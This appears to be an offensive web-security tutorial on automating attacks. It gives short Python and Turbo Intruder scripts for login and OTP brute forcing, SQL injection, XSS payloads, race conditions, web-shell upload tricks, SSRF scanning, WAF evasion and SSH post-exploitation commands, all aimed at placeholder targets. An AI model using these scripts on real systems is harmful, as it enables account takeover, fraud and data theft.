Automating Attacks
Automating attacks focuses on converting manual exploitation steps into repeatable, scalable processes using scripts, tools, and controlled execution flows. Automation removes human delay, increases speed, bypasses timing-based controls, and enables high-volume operations that overwhelm logic, authentication, or rate limits.
Without automation, many attacks such as brute force, fuzzing, race conditions, crawling, and enumerations are impractical. Attackers rely on automation to identify patterns, process large datasets, and exploit vulnerabilities consistently.
Why Automation Matters
Manual requests reveal a vulnerability; automation turns it into an exploit chain.
Automation provides:
-
speed and concurrency
-
consistent payload delivery
-
ability to fuzz parameters
-
large-scale enumeration
-
bypassing timing checks
-
mass exploitation across endpoints
-
reuse of exploit logic
Attackers script everything once and then repeat indefinitely.
Understanding Automation Layers
Automation happens at multiple layers:
-
HTTP layer → requests, sessions, cookies
-
Transport layer → sockets, WebSockets
-
Browser automation → navigating and executing JS
-
Payload generation → encoded, mutated, randomized
-
Concurrency → threading, multiprocessing
-
State management → capturing tokens, CSRF, cookies
-
Data parsing → extracting clues from responses
Effective automation coordinates all layers.
Automating Reconnaissance
Many automated attacks start with reconnaissance.
Subdomain Enumeration Automation
Python example:
import requests
domains = ["test", "dev", "api", "stage"]
base = "example.com"
for d in domains:
url = f"http://{d}.{base}"
try:
r = requests.get(url, timeout=2)
print(url, r.status_code)
except:
pass
Directory Bruteforce Automation
import requests
wordlist = ["admin", "login", "dashboard"]
for w in wordlist:
url = f"https://target.com/{w}"
r = requests.get(url)
if r.status_code == 200:
print("Found:", url)
Automated scanners scale this approach to thousands of words.
Automating Credential Attacks
Automation enables rapid brute force and credential stuffing.
Basic Username/Password Bruteforce
import requests
url = "https://target.com/login"
users = ["admin", "test"]
passwords = ["123", "password", "admin123"]
for u in users:
for p in passwords:
data = {"username": u, "password": p}
r = requests.post(url, data=data)
if "Invalid" not in r.text:
print("Valid:", u, p)
Parallel Brute Force
import threading, requests
def attempt(u,p):
requests.post(url, data={"username":u,"password":p})
for u in users:
for p in passwords:
threading.Thread(target=attempt, args=(u,p)).start()
Parallelization bypasses weak rate limits.
Automating SQL Injection
Attackers automate SQLi fingerprinting, payload testing, and data extraction.
Simple Automated Boolean SQLi
import requests
url = "https://target.com/item?id="
true_cond = "' AND 1=1--"
false_cond = "' AND 1=2--"
for i in range(1,20):
r = requests.get(url + str(i) + true_cond)
if "Item" in r.text:
print("Vulnerable:", i)
Automated Database Extraction Loop
payload = "' UNION SELECT database(),2--"
print(requests.get(url+payload).text)
Attackers expand this with loops to extract tables, columns, and rows.
Automating XSS Testing
Automation tries multiple payloads quickly.
Automated XSS Payload Injection
payloads = [
"<script>alert(1)</script>",
"\"><img src=x onerror=alert(1)>",
"<svg onload=alert(1)>"
]
for p in payloads:
r = requests.get("https://target.com/search?q=" + p)
if p in r.text:
print("XSS:", p)
Automation finds reflection points faster than manual testing.
Automating CSRF Exploits
Attackers automate browser-based actions via Selenium.
Automated CSRF Delivery
from selenium import webdriver
driver = webdriver.Firefox()
driver.get("http://attacker.com/csrf_page.html")
Browser auto-submits hidden forms, sending authenticated requests for victims.
Automating Race Condition Exploits
Race conditions require precise parallel execution.
Automation is mandatory.
Python Threaded Race Attack
import threading, requests
url = "https://target.com/transfer"
payload = {"amount": 100}
def send():
requests.post(url, data=payload)
threads = [threading.Thread(target=send) for _ in range(150)]
[t.start() for t in threads]
Turbo Intruder Script
def queueRequests(target, engine):
for i in range(300):
engine.queue(target.req, gate='race')
engine.openGate('race')
Automation magnifies the vulnerability.
Automating File Upload Exploits
Automation tests multiple extensions, bypass tricks, and timing sequences.
Automated Upload Fuzzer
import requests
files = ["shell.php", "shell.php.jpg", "shell.phtml", "shell.phar"]
for f in files:
r = requests.post("https://target.com/upload",
files={"file": open(f,"rb")})
print(f, r.status_code)
Automating SSRF
Attackers automate SSRF mapping of internal networks.
import requests
for i in range(1,255):
url = f"http://127.0.0.{i}:80"
try:
r = requests.get("https://target.com/fetch?url=" + url, timeout=1)
print(i, r.status_code)
except:
pass
Used to enumerate and fingerprint internal services.
Automating WebSockets Attacks
Automated Message Flood
import websocket, json
ws = websocket.WebSocket()
ws.connect("wss://target.com/ws")
for i in range(2000):
ws.send(json.dumps({"action":"verifyOTP","code":str(i).zfill(6)}))
Automating WAF Bypass
Payload mutation engines automatically modify payloads to avoid detection.
Automated Payload Mutator
base = "' OR 1=1--"
mutations = [
base.replace(" ", "/**/"),
base.replace("OR", "O/**/R"),
base.replace("1", "1 /*test*/"),
]
for m in mutations:
r = requests.get(url + m)
print(m, r.status_code)
Automated bypassing systematically tests variants.
Automating Vulnerability Chaining
Automation glues multiple steps into a single workflow.
Example chain automation:
-
Extract API keys via SSRF
-
Use keys to enumerate cloud buckets
-
Download configuration files
-
Extract DB credentials
-
Automate SQL injection to extract data
-
Use exposed tokens to escalate
Multi-step Automated Exploitation Script
# step 1: SSRF
meta = requests.get(ssrf_url).text
# step 2: parse keys
access_key = extract(meta)
# step 3: list buckets
buckets = list_s3(access_key)
# step 4: download config
config = download(buckets[0])
# step 5: SQL exploit
leak = run_sqli(config.db_pass)
One script, complete compromise.
Automating Post-Exploitation
Automation used after gaining access:
Automated shell command runner
import paramiko
commands = ["id", "uname -a", "cat /etc/passwd"]
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect("target", username="root", password="root123")
for c in commands:
stdin, stdout, stderr = ssh.exec_command(c)
print(stdout.read())
Automates enumeration and privilege escalation routines.
Intel Dump
-
Automating attacks converts manual exploitation into scalable offensive workflows.
-
Automation applies to reconnaissance, brute forcing, race conditions, SQLi, XSS, CSRF, SSRF, file uploads, and API abuse.
-
Scripts use threading, batch execution, WebSocket floods, payload mutation, and browser automation.
-
Python, Turbo Intruder, Selenium, and custom payload generators drive automated exploitation.
-
Automation enables fuzzing, bypassing filters, high-volume brute force, timed race attacks, and multi-step chains.
-
Full exploitation pipelines can be automated end-to-end, from reconnaissance to post-exploitation.